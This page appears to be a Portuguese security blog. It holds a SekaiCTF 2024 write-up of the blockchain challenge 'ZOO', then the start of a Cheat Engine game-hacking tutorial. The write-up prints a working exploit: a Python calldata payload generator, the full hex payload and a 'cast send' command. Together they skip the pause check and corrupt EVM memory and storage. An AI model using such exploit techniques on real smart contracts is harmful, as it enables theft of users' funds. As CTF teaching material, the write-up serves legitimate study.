\u0026lt;snip\u0026gt; } case 0x30 { \u0026lt;snip\u0026gt; } } { Vamos analisar em seguida as operações 0x10 e 0x20. A 0x30 será ignorada porque não foi usada na solução desse chall. Ainda assim, foram postadas soluções diferentes no Discord do CTF que usam essa instrução.\nOperação 0x10 - Add animal O próximo byte da calldata é armazenado em idx. Pelo nome, já vemos que isso vai ser um índice. Em seguida, o código checa se o índice é maior que 7. Se for, a transação falha.\n1 2 3 4 5 6 7 let idx := mload(add(add(arr, 0x20), i)) idx := shr(0xf8, idx) i := add(i, 1) if gt(idx, 7) { revert(0, 0) } Os próximos 4 bytes são pra name_length e animal_index, cada um com 2 bytes.\n1 2 3 4 5 6 7 let name_length := mload(add(add(arr, 0x20), i)) name_length := shr(0xf0, name_length) i := add(i, 2) let animal_index := mload(add(add(arr, 0x20), i)) animal_index := shr(0xf0, animal_index) i := add(i, 2) O código segue pra alocar um espaço e o chama de temp. Na primeira word, animal_index é armazenado.\n1 2 let temp := mload(0x40) mstore(temp, animal_index) Temos em seguida um mcopy que copia os próximos name_length bytes da calldata pra terceira word de temp.\n1 2 mcopy(add(temp, 0x40), add(add(arr, 0x20), i), name_length) i := add(i, name_length) O valor em name_length é então alinhado e armazenado na segunda word de temp.\n1 2 3 4 5 name_length := add( name_length, sub(0x20, mod(name_length, 0x20)) ) mstore(add(temp, 0x20), name_length) Agora que animal_index, name_length e name foram escritos na memória, o free memory pointer é atualizado pra apontar pra logo depois deles.\n1 mstore(0x40, add(temp, add(name_length, 0x40))) O endereço de temp segue para ser armazenado em (local_animals + 0x20) + (idx * 0x20). Com isso, vemos que local_animals é na verdade um array, com o endereço de seus elementos começando em + 0x20.\n1 mstore(add(add(local_animals, 0x20), mul(0x20, idx)), temp) Por fim, vemos que a primeira word de local_animals é o tamanho do array.\n1 2 let animals_count := mload(local_animals) mstore(local_animals, add(animals_count, 1)) Vamos desenhar o que acabamos de descobrir então. Abaixo temos o layout do array:\n1 2 3 4 5 6 +0x000 tamanho do array \u0026lt;---- local_animals aponta pra cá +0x020 endereço do elemento 0 +0x040 endereço do elemento 1 +0x060 endereço do elemento 2 ... +0x100 endereço do elemento 7 E abaixo temos o layout de um dos elementos. Note que animal_index e name_length são lidos como números de 2 bytes da calldata, mas armazenados como números de 32 bytes:\n1 2 3 +0x00 animal_index \u0026lt;---- (local_animals + 0x20)[n] aponta pra cá +0x20 name_length +0x40 name (tamanho variável) Conclusão: a operação 0x10 recebe os argumentos idx, animal_index, name_length e name da calldata, aloca e preenche um animal com esses valores, e adiciona ele no array local_animals no índice idx.\nOperação 0x20 - Edit animal Entrando no case da operação 0x20, temos o mesmo início da operação anterior: o primeiro byte vai para o idx (que não pode ser maior que 7).\nO resto do case pega o próximo byte e o chama de edit_type. Em seguida, temos um outro switch que se separa em dois valores para edit_type: 0x21 e 0x22. Não vamos falar sobre o 0x22, pois ele não foi utilizado na solução.\nQuando edit_type é 0x21, o contrato lê 2 bytes para name_length e em seguida copia os name_length bytes seguintes pra sobrescrever o name do animal sendo editado.\nO ponto mais interessante aqui é que o name_length anterior não é verificado, então podemos editar um animal com um name maior que o anterior, ou seja, um overflow para o animal de baixo.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 let edit_type := mload(add(add(arr, 0x20), i)) edit_type := shr(0xf8, edit_type) i := add(i, 1) switch edit_type case 0x21 { let name_length := mload(add(add(arr, 0x20), i)) name_length := shr(0xf0, name_length) i := add(i, 2) mcopy( add(temp, 0x40), add(add(arr, 0x20), i), name_length ) } Sobrescrevendo o array functions Fazendo esse desafio, eu demorei bastante tempo pra pensar numa forma de sobrescrever o array functions. Afinal, o overflow que encontramos na edição de animais simplesmente não alcança o array, porque ele vem antes dos animais.\nPra entender melhor onde as coisas se situam na memória, podemos usar o debugger do foundry. Pra isso, basta criar um projeto novo com forge init e criar um teste. Como teste, vamos criar um animal com:\nidx = 0x00 name_length = 0x0005 index = 0xaabb name = 0x1122334455 Com a análise da função fallback que fizemos, vemos que basta mandar essa sequência de bytes: 10000005aabb1122334455. Dessa forma, nosso contrato só precisa chamar fallback e passar esses bytes como argumento. Como fallback na verdade não é exatamente uma função, temos que usar call e passar nossos bytes pra ele.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import {Test, console} from \u0026#34;forge-std/Test.sol\u0026#34;; import {ZOO} from \u0026#34;../src/ZOO.sol\u0026#34;; contract ZOOTest is Test { ZOO public zoo; function setUp() public { zoo = new ZOO(); } function test_bypass_pause() public { bytes memory b = hex\u0026#34;10000005aabb1122334455\u0026#34;; (bool success, bytes memory ret) = address(zoo).call(b); if (!success) { if (ret.length \u0026gt; 0) { assembly { let size := mload(ret) revert(add(0x20, ret), size) } } else { revert(\u0026#34;Revert without reason\u0026#34;); } } if (zoo.isSolved() == 1) { console.log(\u0026#34;Success\u0026#34;); } else { console.log(\u0026#34;Fail\u0026#34;); } } } Se rodarmos o teste, vemos que ele falhou porque a função EnforcedPause() foi chamada. Isso é esperado, já que commit foi chamada normalmente e o contrato estava pausado, como vimos antes.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ forge test -vv [⠊] Compiling... No files changed, compilation skipped Ran 1 test for test/ZOO.t.sol:ZOOTest [FAIL. Reason: EnforcedPause()] test_bypass_pause() (gas: 8506) Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 933.39µs (64.20µs CPU time) Ran 1 test suite in 5.14ms (933.39µs CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests) Failing tests: Encountered 1 failing test in test/ZOO.t.sol:ZOOTest [FAIL. Reason: EnforcedPause()] test_bypass_pause() (gas: 8506) Encountered a total of 1 failing tests, 0 tests succeeded Pra debugar, é só mudar o comando pra forge test --debug test_bypass_pause. Isso vai abrir o debugger do foundry, que nos permite executar o programa passo a passo e ver o que exatamente tá na memória.\nAbaixo eu parei o programa logo depois do mstore que incrementa animals_count na hora de adicionar o animal. A overview da memória que o foundry mostra é meio assustura a princípio por conta da quantidade de números em cada linha, mas a lógica é exatamente a mesma do que você veria debugando x64. A diferença é que ao invés de 8 bytes por linha, são 32.\nNa screenshot, basicamente tudo que o programa fez está marcado. Dessa forma, fica fácil de ver que o overflow na hora de editar um animal não serviria pra sobrescrever functions, porque esse array fica bem antes de onde os animais ficam.\nUsando animais não inicializados como trampolim pra bypassar o whenNotPaused Na screenshot do debugger que vimos, chama atenção o fato de quase todo o array de animais estar zerado. Isso acontece porque só adicionamos um animal no índice 0, os outros índices ficam zerados por padrão, sem serem inicializados.\nNa verdade, o código nunca checa de fato se um animal foi inicializado antes de acessá-lo. O que aconteceria então se editássemos um animal que não foi inicializado? Usando a screenshot como base, o segundo animal não foi inicializado. Se passarmos idx=0x01, temp será o endereço desse animal, no caso o endereço que é todo zeros.\n1 2 let offset := add(add(local_animals, 0x20), mul(0x20, idx)) // isso seria 0x0140 let temp := mload(offset) // isso seria 0 Na hora de copiar o nome, ele será copiado para 0x00 + 0x40, que é 0x40, o free memory pointer.\n1 2 3 4 5 mcopy( add(temp, 0x40), // como temp=0, isso seria 0x40 add(add(arr, 0x20), i), name_length ) Dessa forma, conseguimos escrever qualquer coisa de 0x40 pra baixo, incluindo 0xa0, que é onde o endereço da commit fica. Ainda assim, temos algumas questões a resolver, porque somos obrigados a escrever por cima de outros valores para chegar em 0xa0. Vamos revisar eles um a um:\n0x40 - Esse é o free memory pointer. Intuitivamente, podemos escrever aqui qualquer coisa maior (mas não MUITO maior) ou igual ao valor original que tudo deve dar certo. 0x60 - Esse endereço é na verdade sempre zerado. Podemos simplesmente escrever zero aqui então. 0x80 - Esse é o tamanho do array functions. Só escrever 0x01 aqui pra não mudar nada. Sem problemas então, já sabemos o que escrever em cada endereço antes de chegar em 0x0a.\nAgora a questão é, o que escrever em 0x0a? Com o debugger, podemos ver que o endereço que estava originalmente lá vai para a função whenNotPaused, do contrato Pausable. A primeira linha chama _requireNotPaused, que é a função que chama revert se o contrato estiver pausado. Basta então pular para onde essa função retornaria. Usando o debugger, fica fácil ver que esse endereço é 0x0323.\nFinalmente, podemos montar nosso payload pra bypassar o whenNotPaused.\n0x20 (1 byte), pra editar um animal. 0x07 (1 byte), pra escolher o último índice (poderia ser qualquer um). 0x21 (1 byte), pra escolher o edit_type. 0x80 (2 bytes), porque vamos escrever 128 bytes. 0xffff (32 bytes), pra sobrescrever o free memory pointer. 0x00 (32 bytes), pra sobrescrever o endereço que sempre tem zeros. 0x01 (32 bytes), pra sobrescrever o tamanho do array functions. 0x0323 (32 bytes), que é o endereço pra onde queremos pular. Payload: 2007210080000000000000000000000000000000000000000000000000000000000000ffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000323\nDepois de atualizar o contrato teste com esse payload e rodar o teste, vemos que agora não temos mais o erro dizendo que o contrato tá pausado.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ forge test -vv [⠊] Compiling... [⠊] Compiling 1 files with Solc 0.8.25 [⠒] Solc 0.8.25 finished in 931.41ms Compiler run successful! Ran 1 test for test/ZOO.t.sol:ZOOTest [PASS] test_bypass_pause() (gas: 12362) Logs: Fail Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.39ms (8.61ms CPU time) Ran 1 test suite in 9.84ms (9.39ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) Com o debugger, também é possível verificar que o valor foi sobrescrito e que agora o contrato está entrando na função commit.\nObjetivo final = sstore(1,1) Ótimo, conseguimos com sucesso bypassar o WhenNotPaused. E agora? Agora a gente tem que descobrir uma forma de sobrescrever a variável isSolved. Pra isso, vamos revisar como ela foi declarada primeiro:\n1 2 3 4 contract ZOO is Pausable { uint256 public isSolved; \u0026lt;snip\u0026gt; } Essa variável não está na memória, ela pertence ao contrato em si e é armazenada na própria blockchain. Variáveis desse tipo ficam armazenadas no que chamam de storage. Pra interagir com essas variáveis, temos as instruções sload e sstore. A primeira pra ler e a segunda pra escrever. Cada uma dessas variáveis fica armazenada em um slot, que é referenciado usando um número de 32 bytes. Nos casos mais simples, tipo de um simples uint256, o número do slot simplesmente vai incrementando de 1 em 1 a partir do zero (a primeira variável ficaria no slot 0, a segunda no 1 e assim por diante), mas tem uns casos mais enrolados em que não é tão simples assim.\nEnfim, esse caso é simples e isSolved fica no slot 1. Não é no 0 porque na verdade tem uma variável escondida que armazena se o contrato está pausado ou não meio que implícita. Precisamos então setar a variável no slot 1 para 1. Isso seria sstore(1,1) em assembly.\nVamos então analisar o assembly da commit e ver como isso poderia ser possível. Relaxa que essa é menor que a fallback.\nA função commit Primeiro vamos lembrar que o único argumento dessa função se chama data e é aquele array que a fallback constrói. Sendo um array, a primeira coisa que a função faz é loopar cada elemento dele. De agora em diante todos os trechos serão uma iteração desse loop.\n1 2 3 4 5 6 7 8 9 10 let counter := 0 let length := mload(data) for { let i := 0 } lt(i, length) { i := add(i, 1) } { \u0026lt;snip\u0026gt; } Dentro do loop, o index e name_length do animal são lidos. Detalhe que nessa função o index do animal é chamado de idx, o que tinha um significado diferente na outra função. Meio confuso, mas não fui eu que escrevi o código.\n1 2 3 4 5 6 7 8 9 10 let idx let name let memPtr := mload(0x40) let ptr := mload(add(add(data, 0x20), counter)) idx := mload(ptr) name := add(ptr, 0x20) let name_length := mload(name) counter := add(counter, 0x20) Agora eu vou pular umas boas linhas de código que não fazem nada de relevante pra solução e ir direto ao ponto. Atenção aqui que esse é o pulo do gato. Temos uma varíavel slot_hash, que é o hash de um trecho de memória. Aqui o valor da variável não é super importante, só é importante saber que é um número previsível.\nTemos também uma variável animal_counter, que é lida do storage usando sload. O slot do qual essa variável é lida depende de idx, um valor que a gente controla. O ponto importante aqui é que se sload recebe um slot nada a ver, que não tem nada, ele retorna 0.\n1 2 let slot_hash := keccak256(0x00, 0x20); let animal_counter := sload(add(add(slot_hash, mul(2, idx)), 1)) Por fim, temos o tão esperado sstore. Só precisamos transformar os dois números que ele recebe em 1 e o chall está resolvido. O segundo argumento é fácil, praticamente qualquer valor de idx vai fazer com que animal_counter seja 0, e 0+1=1, QED. O primeiro argumento é um pouco (muito) mais enrolado, mas a gente chega lá.\n1 2 3 4 sstore( add(add(slot_hash, mul(2, idx)), 1), add(animal_counter, 1) ) Primeiro de tudo, a gente realmente controla idx? Esse número é aquele primeiro campo que cada animal tem, e se você lembrar bem ele é armazenado em 32 bytes, mas a função fallback na verdade só aceita números de 2 bytes pra esse valor. Isso quer dizer que normalmente 0 \u0026lt;= idx \u0026lt; 2^16, o que simplesmente não vai funcionar. Pra gente transformar aquele primeiro argumento em 1, com certeza precisamos controlar os 32 bytes do idx.\nEm busca dos outros 30 bytes de idx Precisamos de uma forma de escrever um número qualquer de 32 bytes no idx de um animal. Tendo como base o caminho tomado até agora, a primeira maneira de fazer isso que veio à minha cabeça seria usar o overflow na operação de edição do nome do animal.\nPor exemplo, uma forma seria criar dois animais e depois editar o nome do primeiro com um nome mais longo que o original, sobrescrevendo o que vem logo depois, que seria o idx do segundo animal. Não tem nada de errado com essa lógica, mas essa ideia não funciona. Não funciona porque a parte do código que edita o animal tem um bug que não permite que você chame a operação de edição mais de uma vez. Se você reparar, depois do mcopy, o valor de i não é incrementado, então as próximas instruções acabam sendo lidas do novo nome do animal. Não sei se o autor do chall esqueceu de incrementar o i ou se isso foi de propósito, mas isso meio que quebra a ideia de usar a edição pra corromper o idx do animal seguinte.\n1 2 3 4 5 6 7 8 9 10 11 12 13 case 0x21 { let name_length := mload(add(add(arr, 0x20), i)) name_length := shr(0xf0, name_length) i := add(i, 2) mcopy( add(temp, 0x40), add(add(arr, 0x20), i), name_length ) // aqui deveria ter um add(i, name_length), mas não tem :( } Outra ideia seria simplesmente aproveitar o overflow que a gente usou pra sobrescrever functions. A gente seguiria corrompendo a memória, até chegar no idx do primeiro animal. Isso também não funciona. Se você revisar o layout da memória que vimos antes, vai reparar que a calldata fica armazenada entre o início de onde conseguimos corromper (0x40) e onde ficaria o idx do primeiro animal (0x220). Isso significa que se o payload aumentar, a distância até onde queremos corromper também aumenta, porque a calldata é o nosso payload. Por conta disso é impossível corromper qualquer coisa que vier depois da calldata usando esse método.\nA solução foi usar um outro overflow que não vimos ainda. No final da operação que adiciona um animal, a variável animals_count é incrementada. Acaba que na verdade não tem nada que verifica se o index onde você está adicionando um animal já está ocupado ou se mais de 8 animais foram criados, então é possível fazer animals_count ter um número bem maior que o tamanho do array. É só sair criando animais que essa variável vai sendo incrementada.\n1 2 let animals_count := mload(local_animals) mstore(local_animals, add(animals_count, 1)) Por que isso é útil? Porque o loop na função commit itera animal_count vezes. A intenção desse loop é iterar cada elemento do array, com cada iteração lendo o endereço de um animal. Se animal_count for maior que o array, o loop vai começar a ler o conteúdo dos animais em si, que a gente controla.\nA ideia então seria criar um animal cujo idx é o endereço do seu próprio nome. Assim, quando o loop vazar do array e chegar no primeiro animal, ele seguiria o ponteiro e acharia que o idx desse animal é o nome que a gente escolheu. Como o nome não tem limite de tamanho, a gente consegue setar ele pra um número de 32 bytes sem problema. A gente só consegue controlar os 4 bytes menos significativos do idx, mas isso não é um problema, porque o endereço que a gente precisa escrever não é um número grande.\nAbaixo é mostrado como a memória fica fazendo isso. Em vermelho temos o array, mas note que animal_count tem o valor 9, que é maior que o tamanho do array. Logo depois do array, temos o primeiro animal, cujo idx é igual ao endereço do seu nome (0x320). No nome, armazenamos o número que queremos que a função commit interprete como o idx de um animal.\nQuando a função commit recebe esse array, ela vai iterando começando com o endereço do animal 0. Como animal_count é 9, ela então passa do array até chegar em 0x2e0. A função interpreta esse número como se fosse o endereço do animal 8, que na verdade nem existe. Seguindo o ponteiro, ela chega em 0x2e0, cujo valor controlamos. Como os primeiros 32 bytes de um animal são seu idx, a função vai achar que 0x320 na verdade é o idx do animal 8.\nMontar esse esquema não é tão complicado quanto parece. Abaixo temos uma função em Python que gera o hexa do primeiro animal. Aqui não tem nada de muito misterioso, simplesmente criamos um animal normalmente com os valores corretos. idx precisa ser o endereço onde o nome vai ficar e o nome vai ser o valor que queremos que o animal 8 tenha como idx. Vamos ver como chegar nesse número em breve.\n1 2 3 4 5 6 7 8 def create_evil_animal(): op = \u0026#34;10\u0026#34; idx = \u0026#34;00\u0026#34; index = \u0026#34;0320\u0026#34; name = \u0026#34;\u0026lt;valor que queremos para idx\u0026gt;\u0026#34; animal = op + idx + f\u0026#34;{len(name) // 2:04x}\u0026#34; + index + name return animal Depois disso precisamos criar animais vazios pra incrementar animal_count. A seguinte função faz exatamente isso. Aqui criamos vários animais iguais no mesmo índice e com um nome vazio. O objetivo aqui é realmente só incrementar animal_count, os valores em si não importam muito.\n1 2 3 4 5 6 7 8 def create_empty_animals(n): op = \u0026#34;10\u0026#34; idx = \u0026#34;01\u0026#34; index = \u0026#34;eeee\u0026#34; name = \u0026#34;\u0026#34; animal = op + idx + f\u0026#34;{len(name) // 2:04x}\u0026#34; + index + name return n * animal O número mágico Agora sim, controlamos todos os 32 bytes de idx. Pra que que servia isso mesmo? Ah sim, temos que setar o primeiro argumento do sstore pra 1.\n1 2 3 4 sstore( add(add(slot_hash, mul(2, idx)), 1), add(animal_counter, 1) ) Temos que achar um número idx tal que slot_hash + (2 * idx) + 1 seja 1. Isso a princípio parece impossível porque a única solução seria idx = 0 com slot_hash = 0, e a gente não controla slot_hash, ele é um número gigante full aleatório. Parece impossível, mas só até você lembrar que estamos no mundo dos computadores, especificamente na EVM, onde 2^256 = 0. Sim, eu estou falando de overflows. Nós vamos transbordar (2^256)-1 e fazer o número dar a volta e cair exatamente em 1.\nA conta é bem tranquila de fazer com a shell do Python. m é o maior número possível na EVM (256 bits) e h é o slot_hash (peguei usando o debugger).\n1 2 3 4 5 6 \u0026gt;\u0026gt;\u0026gt; m = (2**256)-1 \u0026gt;\u0026gt;\u0026gt; h = int(\u0026#34;405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace\u0026#34;,16) \u0026gt;\u0026gt;\u0026gt; (m-h)//2 + 1 43344706377821576760468996987613231211325356002982170351334206299952371618457 \u0026gt;\u0026gt;\u0026gt; hex(_) \u0026#39;0x5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299\u0026#39; E assim, 43344706377821576760468996987613231211325356002982170351334206299952371618457 é o nosso número mágico que vai colocar 1 no primeiro argumento do sstore.\nFinalizando Nosso payload final vai ser o seguinte então:\ncreate_evil_animal - Criamos um animal cujo idx é o endereço do seu nome. No nome, colocamos o número mágico. create_empty_animals - Criamos vários animais vazios pra incrementar animal_count. overwrite_ret - Usamos a edição de nome pra sobrescrever o array functions, bypassando o whenNotPaused. O payload é longuinho e fazer tudo na mão seria tedioso, então eu fiz um script pra montar ele bonitinho:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #!/usr/bin/env python3 def overwrite_ret(): op = \u0026#34;20\u0026#34; idx = \u0026#34;07\u0026#34; edit = \u0026#34;21\u0026#34; free = (30 * \u0026#34;00\u0026#34;) + \u0026#34;ffff\u0026#34; ret = (30 * \u0026#34;00\u0026#34;) + \u0026#34;0323\u0026#34; write = free + (32 * \u0026#34;00\u0026#34;) + (31 * \u0026#34;00\u0026#34; + \u0026#34;01\u0026#34;) + ret write_len = f\u0026#34;{len(write) // 2:04x}\u0026#34; payload = op + idx + edit + write_len + write return payload def create_evil_animal(): op = \u0026#34;10\u0026#34; idx = \u0026#34;00\u0026#34; index = \u0026#34;0320\u0026#34; # número mágico name = \u0026#34;5fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae225299\u0026#34; animal = op + idx + f\u0026#34;{len(name) // 2:04x}\u0026#34; + index + name return animal def create_empty_animals(n): op = \u0026#34;10\u0026#34; idx = \u0026#34;01\u0026#34; index = \u0026#34;eeee\u0026#34; name = \u0026#34;\u0026#34; animal = op + idx + f\u0026#34;{len(name) // 2:04x}\u0026#34; + index + name return n * animal final = create_evil_animal() + create_empty_animals(8) + overwrite_ret() print(final) Rodando esse script obtemos:\n1 1000002003205fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae22529910010000eeee10010000eeee10010000eeee10010000eeee10010000eeee10010000eeee10010000eeee10010000eeee2007210080000000000000000000000000000000000000000000000000000000000000ffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000323 Colocando esse valor no nosso contrato de testes, vemos que deu tudo certo e isSolved foi setado pra 1 como queríamos.\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ forge test -vv [⠊] Compiling... No files changed, compilation skipped Ran 1 test for test/ZOO.t.sol:ZOOTest [PASS] test_bypass_pause() (gas: 458630) Logs: Success Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.03ms (297.42µs CPU time) Ran 1 test suite in 5.17ms (1.03ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) Na hora de resolver o chall no CTF de verdade, podemos usar o cast send pra mandar nosso payload como calldata.\n1 cast send --rpc-url $rpc --private-key $private $zoo 0x1000002003205fd43c02f6abee0f86a44e719df2622bbeba666f1abf777702c51962ae22529910010000eeee10010000eeee10010000eeee10010000eeee10010000eeee10010000eeee10010000eeee10010000eeee2007210080000000000000000000000000000000000000000000000000000000000000ffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000323 Flag: SEKAI{super-duper-memory-master-:3}\n","permalink":"http://grisufrj.github.io/blog/2024-08-25-sekaictf-zoo/","summary":"O desafio Autor: snwo Descrição: Welcome to assembly zoo Análise inicial Dando uma olhada no contrato de setup, vemos que o objetivo final é setar a variável isSolved no contrato ZOO para 1.\n1 2 3 4 5 6 7 8 9 10 11 contract Setup { ZOO public immutable zoo; constructor() payable { zoo = new ZOO(); } function isSolved() public view returns (bool) { return zoo.isSolved() == 1; } } Logo de cara, ZOO tem alguns pontos interessantes.","title":"SekaiCTF 2024 writeup: Blockchain/ZOO"},{"content":"Abordaremos neste artigo sobre os princípios fundamentais sobre Game Hacking, ensinando como utilizar o Cheat Engine, um programa clássico para mudar aspectos de um jogo a seu favor.\nSobre Processos Antes de tudo, é bom deixar bem definido sobre o que é um jogo para o computador. Ao abrirmos qualquer programa executável, o sistema operacional cria um novo processo para rodar este programa. Um Processo é, portanto, uma tarefa em execução no computador. Podem ter múltiplos processos rodando ao mesmo tempo, sendo em janelas ou em plano de fundo, e pode se criar vários processos de um mesmo programa.\nSobre Cheat Engine O Cheat Engine é um Memory Scanner. Dado um processo, ele busca na memória RAM que este processo utiliza por determinados valores ou padrões em tempo real. Com isso podemos procurar por endereços de memória interessantes, como a posição do jogador ou a vida de um inimigo. Além disso, o Cheat Engine também possui funcionalidades de Debugger e Auto Assembler, muito úteis para análise e modificação da lógica do jogo.\nNeste post, vamos resolver como exemplo o tutorial que vem junto ao baixar o Game Engine, e desta forma mostrando na prática como usar as ferramentas para hackear.\nSolucionando o Tutorial Padrão (Tutorial-x86_64.exe) Começaremos solucionando todas as 9 etapas do tutorial padrão do Cheat Engine. Este tutorial pode ser aberto tanto pelo executável, que se encontra na pasta do executável do Cheat Engine, quanto no menu help dele aberto:\nEtapa 1: Anexando um Processo Depois de abrir o tutorial, temos que comunicar ao Cheat Engine qual processo ele deve analisar. Para anexar o processo do tutorial, basta clicar no ícone de busca abaixo, ir na aba de processos e escolher aquele com o nome \u0026ldquo;Tutorial-x86_64.exe\u0026rdquo;:\nEm geral, podem existir múltiplos processos com o mesmo nome. Isso ocorre com frequência em browsers (cada aba é um processo distinto), mas podem haver processos que rodam em plano de fundo que abrem junto com o processo principal. O que distingue cada um é pelo PID, o número ao lado do nome na tela acima.\nNo caso deste tutorial, somente existe um processo com este nome, portanto podemos selecionar ele e seguir em frente.\nEtapa 2: Escaneando por Valores Conhecidos Nesta Etapa, desejamos mudar o valor da vida que aparece na tela. Para isso, temos que encontrar aonde na memória o valor está sendo guardado. Temos o valor inicial exato da vida, 100. O tutorial sugere que o tipo da variável é de 4-bytes, mas em casos gerais é bem possível não sabermos exatamente o tipo, então vou progredir sem essa informação.\nCom isso, os campos para o primeiro escaneamento ficam:\nValue: 100\rScan Type: Exact Value\rValue Type: All ou 4-bytes\rRealizando então o primeiro escaneamento (clickando no botão \u0026lsquo;First Scan\u0026rsquo; acima do campo Value), encontramos vários endereços de memória com o valor 100:\nPara distinguir entre estes inúmeros valores, temos que ver como cada um se comporta e ver diferenças. Vamos utilizar escaneamentos em sequência usando informações que sabemos da vida. Temos no tutorial um botão para reduzir a vida. No caso, foi reduzido 3 pontos de vida, resultando em 97 de vida total. Temos estas duas informações para filtrar a lista de endereços, sabemos que se algum endereço não mudou desta forma não pode ser a variável que queremos.\nNo caso, usamos a informação da vida total e usamos outro escaneamento do tipo \u0026lsquo;Exact Value\u0026rsquo; e clickando em Next Scan:\nSomente um sobrou! Muitas vezes não conseguimos filtrar totalmente os endereços de uma vez, para estes casos devemos realizar vários escaneamentos para reduzir a um número aceitável de candidatos.\nClickando duas vezes neste endereço irá mandar ele para a lista de endereços guardados abaixo. Clique duas vezes no valor e o mude para 1000. O botão Next do tutorial deve liberar.\nO texto que se vê e seu valor real são duas variáveis distintas, de tipos diferentes. O texto pode atualizar com o novo valor ou não ao modificar o valor para 1000. Para verificar, force um update do valor pelo programa original, neste caso pelo botão \u0026lsquo;Hit me\u0026rsquo; e veja se o valor está levemente menor que o valor que você botou.\nEtapa 3: Escaneando por Valores Desconhecidos Para esta etapa, temos que mudar o valor de uma variável que não sabemos o seu valor. As únicas informações que temos dela são de que seu valor está entre 0 e 500 e que seu valor decresce quando apertado o botão Hit me. O programa também mostra por 1 segundo o quanto decresceu ao apertar o botão.\nPara começar, podemos realizar o primeiro escaneamento de duas formas, uma geral e outra se utilizando das informações dadas:\nGeral:\nValue: ---\rScan Type: Unknown Value\rValue Type: All\rEntre 0 e 500:\nValue: 0 and 500\rScan Type: Value between...\rValue Type: All\rPara escaneamentos seguintes, utilizamos Decreased Value/Decreased Value by\u0026hellip; se apertado o botão ou Unchanged Value se feito nada. Achado o endereço correto, mude seu valor para 5000.\nEtapa 4: Floats e Doubles Temos agora que achar dois valores conhecidos, sabendo que eles são dos tipos float e double.\nSobre Números em Ponto Flutuante Ponto Flutuante é uma maneira de se representar números racionais digitalmente, capaz de suportar números decimais e números muito grandes. Estes seguem o formato da notação científica, como $$ 12345 = 1,2345 \\times 10^{4}. $$ Na variável em si, sendo float (4-bytes) ou double (8-bytes), é guardado 3 informações: 1 bit de sinal (S), a mantissa (M) e o expoente (E), de forma que o valor seja dado da forma:\n$$ valor = (-1)^S\\times M\\times 2^E $$\nConfiguração de uma variável float (4-bytes):\nPara achar estes valores, deve-se seguir o passo-a-passo da Etapa 2, com o campo Value Type correspondente.\nEtapa 5: Achando e Removendo Instruções Algo que não foi comentado até agora é que o local onde uma variável é guardada pode mudar ao reiniciar o programa ou até mesmo durante sua execução, fazendo com que tenha que se repetir o processo de procura. Existem duas formas de fazer mudanças no funcionamento do programa que possam ser repetidos caso isto aconteça: mudanças no código e ponteiros com base um endereço estático. Nesta etapa, vamos procurar e modificar uma instrução que reduz o valor desejado.\nApós encontrar o endereço do valor, desejamos encontrar o código que muda o seu valor. Para tal, clique no endereço com o botão direito do mouse e depois na opção \u0026lsquo;Find out what writes to this address\u0026rsquo;\nIsso vai anexar o Debugger ao processo sendo analisado. Toda vez que alguma instrução acessar a variável ela será listada nesta janela, portanto para achar a instrução que muda o valor só precisamos apertar novamente o botão Change Value. Se tudo estiver correto, irá aparecer uma ou mais instruções como ilustrado a seguir:\nComo só precisamos impedir do botão de mudar o valor, podemos só substituir esta instrução por NOP (No Operation). A forma mais simples é pelo botão Replace. Selecione a instrução desejada, clique no Replace e confirme a ação. Pare o Debugger clicando em Stop no canto inferior direito e veja se o valor não mude ao clicar em Change Value.\nEtapa 6: Ponteiros Na programação, muitas vezes é utilizado variáveis que guardam endereços de outras variáveis. Estas variáveis são chamadas de Ponteiros. Podemos acessar o valor da variável a qual temos o endereço em um ponteiro, acessando de forma indireta. Para achar um ponteiro para uma certa variável, primeiro temos que descobrir o endereço desta. Como temos acesso ao valor exato, podemos seguir o passo-a-passo da Etapa 2.\nCom o endereço correto em mão, clique com o botão direito nele e selecione a opção Find out what access this address para abrir o Debugger:\nIsso significa que as próximas vezes que uma instrução tente acessar este endereço será listado. Mudando o valor da variável, temos estas instruções que aparece listadadas:\nVeja que todas as instruções possuem um termo entre colchetes. Em assembly, ter um registrador como rax significa uma operação sobre ele, mas ter um termo [rax] a instrução opera sobre o endereço com o valor atual deste registrador. Como podemos observar na imagem abaixo, depois da execução da segunda instrução o registrador rdx tem o endereço em Hexadecimal da variável desejada. Poderia ter na instrução um termo do tipo:\n1 mov [rcx+8], eax Neste caso, significa que tem um offset de 8 sendo adicionado ao conteúdo do ponteiro, que devemos levar em conta para achá-lo. No caso do tutorial, o offset é zero, então podemos usar diretamente o endereço da variável. Fazendo um escaneamento de valor exato só que com valor em Hexadecimal (só marcar o quadrado Hex ao lado do campo Value):\nAchamos nosso ponteiro! Mas o Cheat Engine está tratando ele como uma variável de 4-bytes e não como um ponteiro, então devemos consertar isso. Existem duas formas: mudar o tipo do endereço salvo na lista ou adicionar manualmente. Foi escolhido para este tutorial adicionar manualmente. Copie o endereço do ponteiro (No caso temos um endereço estático \u0026lsquo;Tutorial-x86_64.exe+325AD0\u0026rsquo;) e clique no botão Add Address Manualy, no canto inferior direito acima da lista de endereços salvos. Na nova janela, cole o endereço e selecione a opção Pointer. 